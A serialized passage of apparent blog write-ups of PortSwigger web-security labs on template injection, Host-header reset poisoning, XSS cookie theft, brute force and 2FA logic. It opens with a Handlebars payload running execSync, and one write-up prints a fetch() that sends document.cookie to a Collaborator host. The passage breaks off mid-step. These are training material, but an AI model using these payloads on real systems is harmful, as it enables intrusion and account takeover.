\"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('rm -f \u002Fhome\u002Fcarlos\u002Fmorale.txt').toString();\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\n",[37,2694,2695],{"__ignoreMap":87},[313,2696,2697],{"class":315,"line":316},[313,2698,2692],{},[15,2700,2532],{},[142,2702,2705],{"className":2703,"code":2704,"language":147},[145],"e2[object Object]function Function() { [native code] }2[object Object]\n",[37,2706,2704],{"__ignoreMap":87},[15,2708,2709],{},"The file is deleted.",[15,2711,246],{},[361,2713,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2715},[2716,2717],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2718},[2719,2720,2721,2722],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":2111,"depth":253,"text":2112},"A polyglot payload exposes Handlebars in the Node.js stack trace, then a ready-made HackTricks exploit calls child_process.execSync.","expert",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit",{"title":2467,"description":2723},{"loc":2726},"notes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit",[264,2731,269],"ssti","1h 15m","mX_0yL6ZmJtx2BWLfxMXJlFEF1GptGVupdrpRms_pyU",{"id":2735,"title":2736,"author":6,"body":2737,"date":2455,"description":2832,"difficulty":2724,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2833,"navigation":96,"notes":93,"path":2834,"psTitle":2751,"seo":2835,"sitemap":2836,"stem":2837,"tags":2838,"timeSpent":270,"type":106,"__hash__":2839},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects.md","SSTI with Information Disclosure via User-Supplied Objects (PortSwigger Lab)",{"type":8,"value":2738,"toc":2823},[2739,2743,2745,2752,2754,2756,2762,2764,2771,2773,2779,2785,2788,2790,2793,2804,2807,2810,2819,2821],[11,2740,2742],{"id":2741},"ssti-with-information-disclosure-via-user-supplied-objects","SSTI with Information Disclosure via User-Supplied Objects",[19,2744,121],{"id":120},[15,2746,2747,2483],{},[125,2748,2751],{"href":2749,"rel":2750},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fserver-side-template-injection\u002Fexploiting\u002Flab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects",[129],"Server-side template injection with information disclosure via user-supplied objects",[19,2753,135],{"id":134},[137,2755,140],{"id":139},[142,2757,2760],{"className":2758,"code":2759,"language":147},[145],"This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.\n\nTo solve the lab, steal and submit the framework's secret key.\n\nYou can log in to your own account using the following credentials:\n",[37,2761,2759],{"__ignoreMap":87},[137,2763,2057],{"id":2056},[15,2765,2766,2767,2770],{},"There's a site vulnerable to SSTI. We've been given a user who, apparently, can edit templates for the template engine. We need to prepare a payload that will let us steal the framework's ",[37,2768,2769],{},"secret key",". And inject this payload into the template.",[137,2772,1506],{"id":1505},[15,2774,2775,2776,524],{},"Let's log in as the user and see what's there.\nWe go into any product — there's an \"edit template\" button.\nThere's a textarea — let's throw in the payload ",[37,2777,2778],{},"{{7*'7'}}",[142,2780,2783],{"className":2781,"code":2782,"language":147},[145],"Traceback (most recent call last):\n  File \"\u003Cstring>\", line 11, in \u003Cmodule>\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 191, in __init__\n    self.nodelist = self.compile_nodelist()\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 230, in compile_nodelist\n    return parser.parse()\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 486, in parse\n    raise self.error(token, e)\ndjango.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*'7'' from '7*'7''\n",[37,2784,2782],{"__ignoreMap":87},[15,2786,2787],{},"Aha, this is the Django Template Engine.",[137,2789,2112],{"id":2111},[15,2791,2792],{},"Let's go to PayloadsAllTheThings, find the Django section.\nHackTricks, by the way, has no info on it.",[142,2794,2798],{"className":2795,"code":2796,"language":2797,"meta":87,"style":87},"language-django shiki shiki-themes github-light github-dark","{{ messages.storages.0.signer.key }}\n","django",[37,2799,2800],{"__ignoreMap":87},[313,2801,2802],{"class":315,"line":316},[313,2803,2796],{},[15,2805,2806],{},"Empty.",[15,2808,2809],{},"Ah, the payload turns out to be simpler:",[142,2811,2813],{"className":2795,"code":2812,"language":2797,"meta":87,"style":87},"{{ settings.SECRET_KEY }}\n",[37,2814,2815],{"__ignoreMap":87},[313,2816,2817],{"class":315,"line":316},[313,2818,2812],{},[15,2820,246],{},[361,2822,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2824},[2825,2826],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2827},[2828,2829,2830,2831],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":2111,"depth":253,"text":2112},"A template editor leaks Django Template Engine via {{7*'7'}}, then settings.SECRET_KEY does the job in one line.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects",{"title":2736,"description":2832},{"loc":2834},"notes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects",[264,2731,269],"MKQ3-cxysz3ZR_e2dOrwck7aPHTNoiMTdNyv9Zk063Y",{"id":2841,"title":2842,"author":6,"body":2843,"date":2943,"description":2944,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2945,"navigation":96,"notes":93,"path":2946,"psTitle":2857,"seo":2947,"sitemap":2948,"stem":2949,"tags":2950,"timeSpent":2952,"type":106,"__hash__":2953},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning.md","Basic Password Reset Poisoning (PortSwigger Lab)",{"type":8,"value":2844,"toc":2935},[2845,2849,2851,2858,2860,2862,2868,2870,2877,2879,2885,2891,2897,2900,2908,2921,2924,2930,2933],[11,2846,2848],{"id":2847},"basic-password-reset-poisoning","Basic Password Reset Poisoning",[19,2850,121],{"id":120},[15,2852,2853,131],{},[125,2854,2857],{"href":2855,"rel":2856},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fhost-header\u002Fexploiting\u002Fpassword-reset-poisoning\u002Flab-host-header-basic-password-reset-poisoning",[129],"Basic password reset poisoning",[19,2859,135],{"id":134},[137,2861,140],{"id":139},[142,2863,2866],{"className":2864,"code":2865,"language":147},[145],"This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.\n\nYou can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server.\n",[37,2867,2865],{"__ignoreMap":87},[137,2869,2057],{"id":2056},[15,2871,2872,2873,2876],{},"PortSwigger has a dedicated note on «Password reset poisoning». And also a series on «HTTP Host Header attacks». A web application doesn't know the address it's hosted at, so it has to rely on the ",[37,2874,2875],{},"Host"," header when it needs to, for instance, generate a full URL back to itself. That's exactly relevant to the password reset feature, which mails out a reset link.",[137,2878,1506],{"id":1505},[15,2880,2881,2882,2884],{},"Let's look at the password reset request and try to manipulate the ",[37,2883,2875],{}," header.",[15,2886,2887,2888,2890],{},"We send a reset request for our own user.\nNow we send it again, but replace the ",[37,2889,2875],{}," header with our exploit server's address:",[142,2892,2895],{"className":2893,"code":2894,"language":147},[145],"exploit-0a1a00a804fbe14180d3d4d001e100bf.exploit-server.net\n",[37,2896,2894],{"__ignoreMap":87},[15,2898,2899],{},"Both requests came back 200. Let's check the emails:",[30,2901,2902,2905],{},[33,2903,2904],{},"First — with a link to the vulnerable site",[33,2906,2907],{},"Second — link to our exploit server",[15,2909,2910,2911,2913,2914,2917,2918,2920],{},"OK, now to send the email to ",[37,2912,2505],{},", we replace the ",[37,2915,2916],{},"username"," field with ",[37,2919,2505],{}," and submit the request. Off to the access logs.",[15,2922,2923],{},"There's the victim's request:",[142,2925,2928],{"className":2926,"code":2927,"language":147},[145],"\u002Fforgot-password?temp-forgot-password-token=3lc3xbctomlakufr3oftagyorpysgvwo\n",[37,2929,2927],{"__ignoreMap":87},[15,2931,2932],{},"We follow the link, set any password.\nThen we log in.",[15,2934,246],{},{"title":87,"searchDepth":88,"depth":88,"links":2936},[2937,2938],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2939},[2940,2941,2942],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-26","Spoofing the Host header to point the password reset link at our exploit server and lifting Carlos's reset token from its access log.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning",{"title":2842,"description":2944},{"loc":2946},"notes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning",[264,2951,269],"authentication","50m","9TTQjTQvVJZ0XjBjclxHflrKbv1XDJ2uJQJh3go5Dp4",{"id":2955,"title":2956,"author":6,"body":2957,"date":2943,"description":3278,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3279,"navigation":96,"notes":93,"path":3280,"psTitle":2971,"seo":3281,"sitemap":3282,"stem":3283,"tags":3284,"timeSpent":270,"type":106,"__hash__":3285},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking.md","Offline Password Cracking (PortSwigger Lab)",{"type":8,"value":2958,"toc":3270},[2959,2963,2965,2972,2974,2976,2982,2984,2991,2993,3000,3003,3015,3018,3133,3140,3147,3153,3159,3166,3169,3178,3181,3187,3219,3222,3228,3237,3243,3249,3252,3262,3265,3267],[11,2960,2962],{"id":2961},"offline-password-cracking","Offline Password Cracking",[19,2964,121],{"id":120},[15,2966,2967,131],{},[125,2968,2971],{"href":2969,"rel":2970},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-offline-password-cracking",[129],"Offline password cracking",[19,2973,135],{"id":134},[137,2975,140],{"id":139},[142,2977,2980],{"className":2978,"code":2979,"language":147},[145],"This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the \"My account\" page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\n",[37,2981,2979],{"__ignoreMap":87},[137,2983,2057],{"id":2056},[15,2985,2986,2987,2990],{},"The user's password hash is stored in a cookie. Using XSS on the comments page we need to steal the ",[37,2988,2989],{},"stay-logged-in"," cookie and then crack the password.",[137,2992,1506],{"id":1505},[15,2994,2995,2996,2999],{},"We log in as ",[37,2997,2998],{},"wiener"," and tick the \"Remember me\" box.",[15,3001,3002],{},"Then we go to the first article and look at the comments.\nWe drop payloads into the comment text field and the name field:",[30,3004,3005,3010],{},[33,3006,3007],{},[37,3008,3009],{},"\u003C>'\"COZ1-COMMENT",[33,3011,3012],{},[37,3013,3014],{},"\u003C>'\"COZ1-NAME",[15,3016,3017],{},"Comment submitted. We hit \"Back\".\nWe look at the server response:",[142,3019,3023],{"className":3020,"code":3021,"language":3022,"meta":87,"style":87},"language-html shiki shiki-themes github-light github-dark","\u003Csection class=\"comment\">\n    \u003Cp>\n        \u003Cimg src=\"\u002Fresources\u002Fimages\u002FavatarDefault.svg\" class=\"avatar\">                            &lt;&gt;&apos;&quot;COZ1-NAME | 26 May 2026\n    \u003C\u002Fp>\n    \u003Cp>\u003C>'\"COZ1-COMMENT\u003C\u002Fp>\n    \u003Cp>\u003C\u002Fp>\n\u003C\u002Fsection>\n","html",[37,3024,3025,3043,3052,3084,3093,3112,3125],{"__ignoreMap":87},[313,3026,3027,3029,3032,3035,3038,3041],{"class":315,"line":316},[313,3028,749],{"class":748},[313,3030,3031],{"class":752},"section",[313,3033,3034],{"class":795}," class",[313,3036,3037],{"class":748},"=",[313,3039,3040],{"class":771},"\"comment\"",[313,3042,756],{"class":748},[313,3044,3045,3048,3050],{"class":315,"line":88},[313,3046,3047],{"class":748},"    \u003C",[313,3049,15],{"class":752},[313,3051,756],{"class":748},[313,3053,3054,3057,3060,3063,3065,3068,3070,3072,3075,3078,3081],{"class":315,"line":253},[313,3055,3056],{"class":748},"        \u003C",[313,3058,3059],{"class":752},"img",[313,3061,3062],{"class":795}," src",[313,3064,3037],{"class":748},[313,3066,3067],{"class":771},"\"\u002Fresources\u002Fimages\u002FavatarDefault.svg\"",[313,3069,3034],{"class":795},[313,3071,3037],{"class":748},[313,3073,3074],{"class":771},"\"avatar\"",[313,3076,3077],{"class":748},">                            ",[313,3079,3080],{"class":808},"&lt;&gt;&apos;&quot;",[313,3082,3083],{"class":748},"COZ1-NAME | 26 May 2026\n",[313,3085,3086,3089,3091],{"class":315,"line":780},[313,3087,3088],{"class":748},"    \u003C\u002F",[313,3090,15],{"class":752},[313,3092,756],{"class":748},[313,3094,3095,3097,3099,3102,3105,3108,3110],{"class":315,"line":792},[313,3096,3047],{"class":748},[313,3098,15],{"class":752},[313,3100,3101],{"class":748},">",[313,3103,749],{"class":3104},"s7hpK",[313,3106,3107],{"class":748},">'\"COZ1-COMMENT\u003C\u002F",[313,3109,15],{"class":752},[313,3111,756],{"class":748},[313,3113,3114,3116,3118,3121,3123],{"class":315,"line":802},[313,3115,3047],{"class":748},[313,3117,15],{"class":752},[313,3119,3120],{"class":748},">\u003C\u002F",[313,3122,15],{"class":752},[313,3124,756],{"class":748},[313,3126,3127,3129,3131],{"class":315,"line":821},[313,3128,946],{"class":748},[313,3130,3031],{"class":752},[313,3132,756],{"class":748},[15,3134,3135,3136,3139],{},"So the comment text field is vulnerable to XSS, but the name field isn't — ",[37,3137,3138],{},"\u003C>'\""," get escaped there.",[15,3141,3142,3143,3146],{},"Let's drop ",[37,3144,3145],{},"\u003Cscript>alert(25)\u003C\u002Fscript>"," then.\nWorks!",[15,3148,3149,3150,3152],{},"Now let's see what the ",[37,3151,2989],{}," cookie looks like:",[142,3154,3157],{"className":3155,"code":3156,"language":147},[145],"Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC\nSet-Cookie: session=HYIyqq9WyhVgW2EBggmvYrFeFKNPkjHL; Secure; HttpOnly; SameSite=None\n",[37,3158,3156],{"__ignoreMap":87},[15,3160,3161,3162,3165],{},"Good, no ",[37,3163,3164],{},"HttpOnly"," — we can steal it.\nWhat to do with it next — we'll figure out, maybe just look up this potential hash, the PortSwigger docs mentioned that approach.",[15,3167,3168],{},"What does the payload look like conceptually?",[335,3170,3171],{},[33,3172,3173,3174,3177],{},"Take ",[37,3175,3176],{},"document.cookie"," and send it to our server.",[15,3179,3180],{},"Let's grab a URL from Burp Collaborator:",[142,3182,3185],{"className":3183,"code":3184,"language":147},[145],"awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\n",[37,3186,3184],{"__ignoreMap":87},[142,3188,3190],{"className":3020,"code":3189,"language":3022,"meta":87,"style":87},"\u003Cscript>fetch('https:\u002F\u002Fawanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\u002F?c='+document.cookie)\u003C\u002Fscript>\n",[37,3191,3192],{"__ignoreMap":87},[313,3193,3194,3196,3198,3200,3203,3206,3209,3212,3215,3217],{"class":315,"line":316},[313,3195,749],{"class":748},[313,3197,753],{"class":752},[313,3199,3101],{"class":748},[313,3201,3202],{"class":795},"fetch",[313,3204,3205],{"class":748},"(",[313,3207,3208],{"class":771},"'https:\u002F\u002Fawanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\u002F?c='",[313,3210,3211],{"class":761},"+",[313,3213,3214],{"class":748},"document.cookie)\u003C\u002F",[313,3216,753],{"class":752},[313,3218,756],{"class":748},[15,3220,3221],{},"OK, got the victim's cookies:",[142,3223,3226],{"className":3224,"code":3225,"language":147},[145],"GET \u002F?c=secret=kMMSNa1CtoViZvGFdfkRGhrEmcaTkSLU;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz\n",[37,3227,3225],{"__ignoreMap":87},[15,3229,3230,3231,3233,3234,524],{},"We pull out the ",[37,3232,2989],{}," value in Burp Suite.\nWe get ",[37,3235,3236],{},"Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz",[142,3238,3241],{"className":3239,"code":3240,"language":147},[145],"carlos:26323c16d5f4dabff3bb136f2460a943\n",[37,3242,3240],{"__ignoreMap":87},[15,3244,3245,3246,524],{},"Looks like an MD5 hash, just like in the previous lab.\nLet's try to find the password for the MD5 hash ",[37,3247,3248],{},"26323c16d5f4dabff3bb136f2460a943",[15,3250,3251],{},"A dictionary attack, basically. Or some kind of hash database.",[15,3253,3254,3258,3259,524],{},[125,3255,3256],{"href":3256,"rel":3257},"https:\u002F\u002Fmd5.gromweb.com\u002F?md5=26323c16d5f4dabff3bb136f2460a943",[129],"\nThere's a handy resource.\nPassword — ",[37,3260,3261],{},"onceuponatime",[15,3263,3264],{},"We log in as the user and delete the account.",[15,3266,246],{},[361,3268,3269],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":87,"searchDepth":88,"depth":88,"links":3271},[3272,3273],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":3274},[3275,3276,3277],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"XSS in comments steals Carlos's stay-logged-in cookie; base64-decode reveals an MD5 hash an online lookup cracks, then we delete the account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking",{"title":2956,"description":3278},{"loc":3280},"notes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking",[264,2951,269],"tmoVznL_3i5alSNm8a74OuDuKGCwEKv6J5081MHLo6o",{"id":3287,"title":3288,"author":6,"body":3289,"date":2943,"description":3351,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3352,"navigation":96,"notes":93,"path":3353,"psTitle":3303,"seo":3354,"sitemap":3355,"stem":3356,"tags":3357,"timeSpent":3358,"type":106,"__hash__":3359},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change.md","Password Brute-Force via Password Change (PortSwigger Lab)",{"type":8,"value":3290,"toc":3347},[3291,3295,3297,3304,3306,3309,3316,3319,3322,3325,3328,3334,3339,3345],[11,3292,3294],{"id":3293},"password-brute-force-via-password-change","Password Brute-Force via Password Change",[19,3296,121],{"id":120},[15,3298,3299,131],{},[125,3300,3303],{"href":3301,"rel":3302},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-brute-force-via-password-change",[129],"Password brute-force via password change",[19,3305,135],{"id":134},[15,3307,3308],{},"Already tired of writing the report :)",[15,3310,3311,3312,3315],{},"In short, nothing complicated here.\nThere's a route ",[37,3313,3314],{},"POST \u002Fmy-account\u002Fchange-password",".\nIt has no brute-force protection, and we can swap the username.",[15,3317,3318],{},"There's a nuance: if you set the new password and its confirmation the same, and the current password is wrong, the server responds with a redirect.",[15,3320,3321],{},"If the passwords don't match, then 200 is returned.\nAnd if they match — also 200, but the response length will differ.",[15,3323,3324],{},"We set up the attack in Intruder.\nWe use the provided password dictionary.",[15,3326,3327],{},"Body:",[142,3329,3332],{"className":3330,"code":3331,"language":147},[145],"username=carlos&current-password={pwd}&new-password-1=123&new-password-2=321\n",[37,3333,3331],{"__ignoreMap":87},[15,3335,3336,3338],{},[37,3337,2567],{}," here gets substituted with a password from the dictionary.\nWe launch the attack and sort by response length.",[15,3340,3341,3342,524],{},"Password — ",[37,3343,3344],{},"ginger",[15,3346,246],{},{"title":87,"searchDepth":88,"depth":88,"links":3348},[3349,3350],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"Brute-forcing current-password on the change-password route: mismatched new-password-1 and new-password-2 give 200, and a match yields 200 with a different response length.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change",{"title":3288,"description":3351},{"loc":3353},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change",[264,2951,269],"55m","uDdImdTammHvS7YR_yIqbxUBvY4Y96NXCA05F-laUBs",{"id":3361,"title":3362,"author":6,"body":3363,"date":2943,"description":3458,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3459,"navigation":96,"notes":93,"path":3460,"psTitle":3377,"seo":3461,"sitemap":3462,"stem":3463,"tags":3464,"timeSpent":379,"type":106,"__hash__":3465},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware.md","Password Reset Poisoning via Middleware (PortSwigger Lab)",{"type":8,"value":3364,"toc":3450},[3365,3369,3371,3378,3380,3382,3388,3390,3404,3410,3412,3421,3427,3433,3439,3445,3448],[11,3366,3368],{"id":3367},"password-reset-poisoning-via-middleware","Password Reset Poisoning via Middleware",[19,3370,121],{"id":120},[15,3372,3373,131],{},[125,3374,3377],{"href":3375,"rel":3376},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-reset-poisoning-via-middleware",[129],"Password reset poisoning via middleware",[19,3379,135],{"id":134},[137,3381,140],{"id":139},[142,3383,3386],{"className":3384,"code":3385,"language":147},[145],"This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server.\n",[37,3387,3385],{"__ignoreMap":87},[137,3389,2057],{"id":2056},[15,3391,3392,3393,3396,3397,3399,3400,3403],{},"Judging by the name, similar to the previous lab, only we need to use the technique of ",[37,3394,3395],{},"X-*"," headers to override the ",[37,3398,2875],{}," header. The first one to try is usually ",[37,3401,3402],{},"X-Forwarded-Host",", and there's also:",[142,3405,3408],{"className":3406,"code":3407,"language":147},[145],"X-Host\nX-Forwarded-Server\nX-HTTP-Host-Override\nForwarded\n",[37,3409,3407],{"__ignoreMap":87},[137,3411,1506],{"id":1505},[15,3413,3414,3415,3417,3418,524],{},"Let's look at the password reset function.\nWe send a reset request for our own user.\nLet's try right away to override the ",[37,3416,2875],{}," header with our exploit server's address.\nNo response at all, just ",[37,3419,3420],{},"Stream closed",[15,3422,3423,3424,3426],{},"OK, let's try ",[37,3425,3402],{},". We add to the headers:",[142,3428,3431],{"className":3429,"code":3430,"language":147},[145],"X-Forwarded-Host: exploit-0a20001104ed604d802011ff017700f1.exploit-server.net\n",[37,3432,3430],{"__ignoreMap":87},[15,3434,3435,3436,3438],{},"Works!\nNow in the request body we change the username to ",[37,3437,2505],{},".\nWe go to the access logs and see:",[142,3440,3443],{"className":3441,"code":3442,"language":147},[145],"\u002Fforgot-password?temp-forgot-password-token=j4by8s8k70bbyzg3pj5x6l4d9ymzkl0f\n",[37,3444,3442],{"__ignoreMap":87},[15,3446,3447],{},"We follow the link, change the password.\nWe log in.",[15,3449,246],{},{"title":87,"searchDepth":88,"depth":88,"links":3451},[3452,3453],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":3454},[3455,3456,3457],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"X-Forwarded-Host overrides Host for the password reset link — Carlos's token lands in our exploit server's access log.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware",{"title":3362,"description":3458},{"loc":3460},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware",[264,2951,269],"YrEBh0pc5UWXlD2WC-jWxPDsssZ3advejTayidQ097c",{"id":3467,"title":3468,"author":6,"body":3469,"date":3629,"description":3630,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3631,"navigation":96,"notes":93,"path":3632,"psTitle":3483,"seo":3633,"sitemap":3634,"stem":3635,"tags":3636,"timeSpent":3637,"type":106,"__hash__":3638},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic.md","2FA Broken Logic (PortSwigger Lab)",{"type":8,"value":3470,"toc":3621},[3471,3475,3477,3484,3486,3488,3494,3496,3502,3504,3507,3549,3565,3599,3606,3612,3619],[11,3472,3474],{"id":3473},"_2fa-broken-logic","2FA Broken Logic",[19,3476,121],{"id":120},[15,3478,3479,399],{},[125,3480,3483],{"href":3481,"rel":3482},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fmulti-factor\u002Flab-2fa-broken-logic",[129],"2FA broken logic",[19,3485,135],{"id":134},[137,3487,140],{"id":139},[142,3489,3492],{"className":3490,"code":3491,"language":147},[145],"This lab's two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos's account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nYou also have access to the email server to receive your 2FA verification code.\n",[37,3493,3491],{"__ignoreMap":87},[137,3495,2057],{"id":2056},[15,3497,3498,3499,3501],{},"There is broken 2FA logic on the site, we have our own account where we can look at how the mechanism works. To solve the lab, we need to access user ",[37,3500,2505],{},"'s page.",[137,3503,1506],{"id":1505},[15,3505,3506],{},"Let's go through the 2FA flow as our own user.",[335,3508,3509,3524],{},[33,3510,3511,3514,3515,212,3518],{},[37,3512,3513],{},"POST \u002Flogin",", with username and password in the body. Response + redirect to ",[37,3516,3517],{},"\u002Flogin2",[142,3519,3522],{"className":3520,"code":3521,"language":147},[145],"Set-Cookie: verify=wiener; HttpOnly\nSet-Cookie: session=EBdAlyofdB1mRMdQSvTDuKzeWSgj9t64; Secure; HttpOnly; SameSite=None\n",[37,3523,3521],{"__ignoreMap":87},[33,3525,3526,3527,3530,3531,3534,3535,3538,3539,3545,3548],{},"On ",[37,3528,3529],{},"GET \u002Flogin2"," there's a 2FA code input form. We enter it from email. ",[37,3532,3533],{},"POST \u002Flogin2",", with code ",[37,3536,3537],{},"mfa-code=1507"," in the body, and the cookie is sent:",[142,3540,3543],{"className":3541,"code":3542,"language":147},[145],"Cookie: session=EBdAlyofdB1mRMdQSvTDuKzeWSgj9t64; verify=wiener\n",[37,3544,3542],{"__ignoreMap":87},[3546,3547],"br",{},"The response is 302 — successful login.",[15,3550,3551,3552,3555,3556,1715,3558,3561,3562,3564],{},"Interestingly, the ",[37,3553,3554],{},"verify"," cookie is set at the first step, then at the second step there's a redirect to the code input page. Essentially this cookie tells the server which user the request is for, and we can swap it. Let's try calling ",[37,3557,3529],{},[37,3559,3560],{},"verify=carlos"," and thereby trigger generation of a 2FA code for him. Then, using a call to ",[37,3563,3533],{},", try to perform a brute-force attack on the code — its length is only 4 characters.",[335,3566,3567,3578,3581,3587,3590,3596],{},[33,3568,3569,3570,3572,3573,3575,3576,524],{},"We send a code-generation request ",[37,3571,3529],{}," for ",[37,3574,2505],{}," by setting ",[37,3577,3560],{},[33,3579,3580],{},"We get the code input form, click submit code.",[33,3582,3583,3584,3586],{},"A ",[37,3585,3533],{}," request flies out — we drop it into Intruder.",[33,3588,3589],{},"We choose the \"Brute forcer\" payload, set 4 characters.",[33,3591,3592,3593,524],{},"We add a variable to the request body: 